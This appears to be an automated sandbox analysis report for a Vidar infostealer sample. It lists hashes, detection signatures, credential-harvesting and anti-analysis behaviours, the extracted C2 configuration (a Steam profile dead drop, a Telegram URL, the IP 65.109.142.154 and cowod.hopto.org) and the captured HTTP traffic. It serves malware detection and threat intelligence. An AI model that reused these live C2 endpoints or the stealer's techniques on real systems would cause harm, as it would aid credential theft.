Edit tour

Windows Analysis Report
aZm1EZ2IYr.exe

Overview

General Information

Sample name:	aZm1EZ2IYr.exe renamed because original name is a hash value
Original sample name:	1e1d5412616216fd90ea3cb6a87353db.exe
Analysis ID:	1538067
MD5:	1e1d5412616216fd90ea3cb6a87353db
SHA1:	da0ae99aebbde6433c8dc985e8c8b2305cdb9b54
SHA256:	765eb00651ebf6ddbc9c8d6e687292dae89f0d8260cea08505020992835208d8
Tags:	32exetrojanVidar
Infos:

Detection

Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Yara detected AntiVM3

Yara detected Powershell download and execute

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Country aware sample found (crashes after keyboard check)

Machine Learning detection for sample

PE file has a writeable .text section

Searches for specific processes (likely to inject)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal ftp login credentials

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to detect sandboxes (mouse cursor move detection)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Extensive use of GetProcAddress (often used to hide API calls)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

One or more processes crash

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses the keyboard layout for branch decision (may execute only for specific keyboard layouts)

Classification

Process Tree

System is w10x64

aZm1EZ2IYr.exe (PID: 7336 cmdline: "C:\Users\user\Desktop\aZm1EZ2IYr.exe" MD5: 1E1D5412616216FD90EA3CB6A87353DB)

WerFault.exe (PID: 7828 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7336 -s 2220 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 7892 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7336 -s 2384 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199786602107"], "Botnet": "df523263f44cc8d55414a260a0197e4a"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author
aZm1EZ2IYr.exe	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
aZm1EZ2IYr.exe	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
aZm1EZ2IYr.exe	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000000.00000000.1668857258.00000000001B0000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000000.1668857258.00000000001B0000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: aZm1EZ2IYr.exe PID: 7336	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: aZm1EZ2IYr.exe PID: 7336	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: aZm1EZ2IYr.exe PID: 7336	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.aZm1EZ2IYr.exe.180000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.aZm1EZ2IYr.exe.180000.0.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0.0.aZm1EZ2IYr.exe.180000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.0.aZm1EZ2IYr.exe.180000.0.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security

Suricata Signatures

ET JA3 Hash - [Abuse.ch] Possible Dridex

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-20T08:35:25.223918+0200	2028765	3	Unknown Traffic	192.168.2.4	49740	65.109.142.154	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: aZm1EZ2IYr.exe

Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199786602107"], "Botnet": "df523263f44cc8d55414a260a0197e4a"}

Multi AV Scanner detection for domain / URL

Source: cowod.hopto.org	Virustotal: Detection: 12%			Perma Link
Source: http://cowod.hopto.org/p	Virustotal: Detection: 7%			Perma Link

Multi AV Scanner detection for submitted file

Source: aZm1EZ2IYr.exe	ReversingLabs: Detection: 73%
Source: aZm1EZ2IYr.exe	Virustotal: Detection: 60%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.2% probability

Machine Learning detection for sample

Source: aZm1EZ2IYr.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: 0_2_00188048 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00188048
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: 0_2_001880A1 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_001880A1
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: 0_2_00191E32 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	0_2_00191E32
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: 0_2_0018A7AD _memset,lstrlenA,CryptStringToBinaryA,_memmove,lstrcatA,lstrcatA,	0_2_0018A7AD

Source: aZm1EZ2IYr.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 65.109.142.154:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.4:49742 version: TLS 1.2

Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: 0_2_00196013 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00196013
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: 0_2_0018B914 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0018B914
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: 0_2_00195B4D GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	0_2_00195B4D
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: 0_2_0019547D wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	0_2_0019547D
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: 0_2_00189CF1 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00189CF1
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: 0_2_00194D08 wsprintfA,FindFirstFileA,_memset,_memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,_memset,lstrcatA,strtok_s,strtok_s,_memset,lstrcatA,strtok_s,PathMatchSpecA,DeleteFileA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,strtok_s,strtok_s,FindNextFileA,FindClose,	0_2_00194D08
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: 0_2_0018CD0C wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0018CD0C
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: 0_2_0018D59B FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0018D59B
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: 0_2_00181D80 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00181D80
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: 0_2_0018B5B4 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0018B5B4
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: 0_2_0018BF22 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0018BF22

Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe

Code function: 0_2_00195182 GetLogicalDriveStringsA,_memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA,

0_2_00195182

Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: 4x nop then mov eax, dword ptr fs:[00000030h]		0_2_001814AD
Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe	Code function: 4x nop then mov dword ptr [ebp-04h], eax		0_2_001814AD

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://steamcommunity.com/profiles/76561199786602107

Source: global traffic	HTTP traffic detected: GET /profiles/76561199786602107 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /lpnjoke HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 104.102.49.254 104.102.49.254
Source: Joe Sandbox View	IP Address: 149.154.167.99 149.154.167.99
Source: Joe Sandbox View	IP Address: 149.154.167.99 149.154.167.99

Source: Joe Sandbox View

ASN Name: AKAMAI-ASUS AKAMAI-ASUS

Source: Joe Sandbox View	JA3 fingerprint: 51c64c77e60f3980eea90869b68c58a8
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic

Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:49740 -> 65.109.142.154:443

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 65.109.142.154Connection: Keep-AliveCache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.142.154
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.142.154
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.142.154
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.142.154
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.142.154
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.142.154
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.142.154
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.142.154
Source: unknown	TCP traffic detected without corresponding DNS query: 65.109.142.154
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\aZm1EZ2IYr.exe

Code function: 0_2_00186963 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00186963

Source: global traffic	HTTP traffic detected: GET /profiles/76561199786602107 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 65.109.142.154Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /lpnjoke HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache

Source: aZm1EZ2IYr.exe, 00000000.00000003.1925541489.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://*.valvesoftware.com https://*.steambeta.net https://*.discovery.beta.steamserver.net https://*.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: t.me
Source: global traffic	DNS traffic detected: DNS query: cowod.hopto.org

Source: aZm1EZ2IYr.exe, 00000000.00000003.1926014370.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925541489.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://cowod.hopto
Source: aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://cowod.hopto.
Source: aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://cowod.hopto.ered.com/explore/
Source: aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://cowod.hopto.org
Source: aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003B3D000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org/
Source: aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003B3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org/p
Source: aZm1EZ2IYr.exe	String found in binary or memory: http://cowod.hopto.org_DEBUG.zip/c
Source: aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://cowod.hopto.orgclass=
Source: aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://cowod.hopto.orgsive/header_logo.png
Source: aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://cowod.hopto.re
Source: aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://cowod.hoptotml
Source: aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://cowod.hoptowered.com/explore/
Source: aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://cowod.oudflare
Source: aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://ore.steampowered.com/explore/
Source: Amcache.hve.6.dr	String found in binary or memory: http://upx.sf.net
Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925949975.0000000003ADE000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: 76561199786602107[1].htm.0.dr	String found in binary or memory: https://65.109.142.154
Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1948640498.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://65.109.142.154/
Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://65.109.142.154/C
Source: aZm1EZ2IYr.exe, 00000000.00000003.1925541489.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: 76561199786602107[1].htm.0.dr	String found in binary or memory: https://avatars.cloudflare.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: aZm1EZ2IYr.exe, 00000000.00000003.1926014370.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925541489.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: aZm1EZ2IYr.exe, 00000000.00000003.1926014370.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925541489.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/
Source: aZm1EZ2IYr.exe, 00000000.00000003.1925541489.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://community.c
Source: aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://community.cloudflare.stea
Source: aZm1EZ2IYr.exe, 00000000.00000003.1925541489.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/
Source: aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/app
Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925949975.0000000003ADE000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/applications/community/main.css?v=D_iTAfDsLH
Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/globalv2.css?v=pwVcIAtHNXwg&l=english&am
Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/promo/summer2017/stickers.css?v=bZKSp7oNwVPK
Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/header.css?v=vh4BMeDcNiCU&l=engli
Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1&
Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=gNE3gksLVEVa&l=en
Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925949975.0000000003ADE000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925949975.0000000003ADE000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925949975.0000000003ADE000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/libraries~b28b
Source: aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925949975.0000000003ADE000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/main.js?v=4Xou
